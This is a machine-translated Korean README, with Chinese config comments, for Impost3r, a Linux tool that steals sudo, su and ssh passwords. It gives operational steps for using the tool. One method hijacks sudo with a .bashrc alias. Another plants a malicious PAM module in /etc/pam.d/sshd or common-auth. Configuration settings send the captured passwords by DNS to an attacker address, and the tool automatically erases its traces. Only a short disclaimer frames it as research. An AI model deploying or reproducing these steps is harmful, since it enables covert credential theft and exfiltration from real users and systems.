영어
Impost3r은 C 언어로 작성된 도구로 Linux에서 다양한 비밀번호(ssh, su, sudo)를 훔치는 데 사용됩니다.
사용자는 이 프로그램을 사용하여 합법적인 사용자의 비밀번호를 훔칠 수 있는 워터링 홀을 만들 수 있습니다.
이 도구는 안전 연구 및 교육 전용이며, 사용자는 이 도구의 사용으로 인해 발생하는 모든 법적 및 관련 책임을 집니다! 저자는 법적, 관련 책임을 지지 않습니다!
행동의 흔적을 자동으로 삭제
DNS 프로토콜을 통해 결과 전송
사용자 무관심
gcc
Impost3r은 sudo, su, ssh 서비스를 포함한 비밀번호를 훔치는 데 사용될 수 있습니다. 이 세 가지 서비스는 대략 sudo와 ssh/su의 두 가지 범주로 나눌 수 있습니다.
일반 사용자 권한만 필요합니다. 루트는 필요하지 않습니다. 단, 해당 사용자의 비밀번호만 훔칠 수 있으며 다른 사용자의 비밀번호는 훔칠 수 없습니다.
먼저 공격자가 일반 사용자 권한으로 서버를 제어하고 있다고 가정한다.
.bash_profile
파일이 사용자의 루트 디렉토리에 있는지 확인하십시오. .bash_profile
이 존재하는 경우: .bashrc
.bash_profile
파일에 활성적으로 로드되어 있는지 확인하십시오. 활성적으로 로드된 경우 이 단계와 다음 두 검사를 건너뛰고 다음 단계를 계속하십시오. 작업이 적극적으로 로드되지 않으면 다음 두 단계의 검사를 건너뛰고 다음의 .bashrc
에 대한 모든 작업이 .bash_profile
에 대한 작업으로 대체됩니다 .bash_profile
다음 확인 단계.
.bash_login
파일이 사용자 루트 디렉터리에 있는지 확인합니다. .bash_login
이 있는 경우: .bashrc
.bash_login
파일에 적극적으로 로드되어 있는지 확인하고, 이 단계와 다음 확인을 건너뛰고 후속 작업을 계속합니다. 그렇지 않은 경우 이 단계와 다음 단계를 건너뛰고 다음 검사를 건너뛰면 다음의 .bashrc
에 대한 모든 작업이 .bash_login
에 대한 작업으로 대체됩니다 .bash_login
다음 점검.
사용자 루트 디렉터리에 .profile
파일이 있는지 확인합니다. .profile
파일이 있는 경우: .bashrc
가 .profile
파일(기본적으로 로드됨)에 활성적으로 로드되어 있는지 확인합니다. 활성적으로 로드되어 있으면 이 단계를 건너뛰고 계속합니다. 후속 작업. , 적극적으로 로드되지 않으면 다음의 .bashrc
에 대한 모든 작업이 .profile
에 대한 작업으로 대체됩니다. ; .profile
없으면 원칙적으로 Impost3r을 사용할 수 없습니다. 물론 상황에 따라 .bash_profile
파일을 생성할지, .profile
파일을 생성할지 결정하고, 위와 유사한 로딩 코드를 작성할 수도 있습니다. .bashrc
로드하려면 다음 단계를 따르세요.
if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
사용자의 .bashrc
사본 : cp ~/.bashrc /tmp/
를 복사하고 이 사본을 공격자의 사용자 정의 경로에 배치합니다(이 예에서는 /tmp/ 디렉토리에 배치되며 공격자가 수정할 수 있음).
사용자 루트 디렉터리에서 .bashrc
(~/.bashrc)를 수정하고 마지막 줄에 다음 명령문을 추가합니다(여기서 "/tmp/.impost3r"은 아래 FILENAME과 일치해야 함).
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
추가가 완료되면 파일을 저장하고 source ~/.bashrc
실행합니다.
그런 다음 공격자는 Impost3r 소스 코드 /sudo/main.h
를 수정해야 합니다.
/* Custom setting */ # define FILENAME "/tmp/.impost3r" 设置Impost3r在目标服务器上的位置 # define BACKUP_ORI_FILENAME ".bashrc" 表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login # define BACKUP_ORI_PATH "/tmp/.bashrc" 表明攻击者所备份的源用户配置文件在目标服务器上的位置 # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 # define RESEND_INTERVAL 5 设置每一次发送密码的间隔 # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
수정이 완료되면 현재 디렉토리에 make
저장하고 실행한다.
현재 디렉터리에서 컴파일된 .impost3r
파일을 가져옵니다.
(예기치 못한 오류를 방지하기 위해 대상 서버에서 컴파일 시도) .impost3r
파일을 대상 서버의 /tmp/
폴더에 업로드합니다(예제일 뿐이며, 정의와 동일하다면 직접 수정할 수 있습니다). 소스 코드)
공격자는 자신의 서버에서 DNS 서버 프로그램을 시작하고 합법적인 사용자가 sudo
사용하여 비밀번호를 알아내기를 기다립니다.
sudo 비밀번호를 훔치는 경우 성공 후 Impost3r이 자동으로 흔적을 지우므로 공격자가 수동으로 올라가서 정리할 필요가 없습니다.
Impost3r은 사용자가 입력한 비밀번호가 올바른 비밀번호인지 자동으로 확인합니다. 사용자가 올바른 비밀번호를 입력하고 흔적을 지울 때까지 프로세스가 종료되지 않습니다.
Impost3r을 사용하기 전에 sudo -v
사용하여 현재 사용자가 sudoer
그룹에 있는지 확인하십시오. 그렇지 않은 경우 Impost3r을 사용하지 마십시오.
ssh/su 비밀번호를 훔치는 것은 위의 sudo 비밀번호 훔치고 악용하는 방법과 다릅니다. 루트 권한이 필요하며 모든 사용자 비밀번호를 훔칠 수 있습니다.
다음은 Ubuntu를 예로 들어 설명합니다. 사용되는 파일과 파일을 수정하는 방법은 다를 수 있습니다.
먼저 공격자가 서버를 제어하고 있다고 가정해보자.
권한 상승 작업을 통해 루트 권한을 얻었습니다. (또는 사랑스러운 관리자가 루트 권한으로 서비스를 시작했습니다.)
먼저 Impost3r의 /ssh_su/main.h
소스 코드 파일을 편집하세요.
/* Custom setting */ # define SSH_OR_BOTH 0 设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) # define RESEND_INTERVAL 5 设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
수정이 완료되면 현재 디렉토리에 make
저장하고 실행한다.
컴파일된 파일 impost3r.so
를 가져옵니다.
컴파일된 impost3r.so
(예기치 않은 오류를 방지하기 위해 대상 서버에서 컴파일 시도)를 대상 시스템의 /lib/x86_64-linux-gnu/security
에 업로드합니다(시스템마다 폴더 이름이 다를 수 있으므로 폴더 이름에 따라 배치하십시오). 상황) )
/etc/pam.d
입력합니다. 이때 선택한 모드가 ssh 비밀번호만 훔치는 것이라면 vi sshd
실행하고 파일 끝에 다음 명령문을 추가해야 합니다. 여기서는 Ubuntu를 제외하고 Linux 시스템의 이 파일을 기반으로 하는 다른 파일이 Ubuntu와 상당히 다를 수 있다는 점을 언급했습니다. 규칙을 직접 읽고 적절한 위치에 추가하는 것이 좋습니다.
auth optional impost3r.so account optional impost3r.so
저장하고 종료하고 sshd 서비스를 다시 시작하십시오. service sshd restart
ssh 및 su 비밀번호를 함께 훔치기로 선택한 경우 vi common-auth
실행하고 동일한 명령문을 추가한 후 저장하고 종료한 후 sshd 서비스도 다시 시작해야 합니다.
공격자는 자신의 서버에서 DNS 서버 프로그램을 시작하고 합법적인 사용자가 ssh
사용하여 대상 시스템에 로그인하거나 su
사용하여 사용자를 전환하여 비밀번호를 얻을 때까지 기다립니다.
ssh/su 비밀번호를 훔친 경우, 권한 사유로 인해 Impost3r이 흔적을 지울 수 없으며, 공격자가 직접 지워야 합니다.
SSH 비밀번호만 도용되도록 설정한 경우 기본적으로 공격자가 도용 결과를 100% 보장하지만, 둘 다 동시에 도용하도록 설정한 경우에는 반드시 SSH 비밀번호가 도용된다는 보장은 없으므로 주의하시기 바랍니다. 공격자는 도난 결과를 받게 됩니다. (DNS를 보낼 때 로컬에 저장하도록 설정한 경우에만 영향을 받지 않습니다.)
su 비밀번호를 훔치는 것은 권장되지 않으며, 사용자의 ssh 비밀번호는 su 비밀번호와 동일하므로 su 비밀번호를 훔칠 수 없다면 ssh 비밀번호만으로 충분합니다.
빈 비밀번호는 기본적으로 도난당하지 않습니다. 사용자에게 빈 비밀번호가 있는지 확인하십시오. (sshd 구성 파일에 PermitEmptyPasswords yes
가 있는지 확인하십시오. 비어 있으면 여전히 유령입니다.)
Dns 서버 프로그램은 Fdns를 사용하고 일부 매개변수를 수정했습니다. Fdns 폴더에서 수정된 소스 코드를 찾을 수 있습니다. 직접 컴파일하려면 gcc -o dns main.c util.c
명령을 사용하세요. main.c의 첫 번째 수신 포트)
Fdns를 컴파일하기 전에 util.h
에서 YOUR_DOMAIN
값을 확인하여 이 값이 서버에 이식된 Impost3r 프로그램을 컴파일할 때 사용한 YOUR_DOMAIN
값과 일치하는지 확인하세요. 그렇지 않으면 도난에 실패할 수 있습니다.
이 프로그램은 여가 시간에만 개발 및 연구되었으며 기능에 버그가 있을 수 있으니 양해해 주시기 바랍니다.
에프
libbaseencode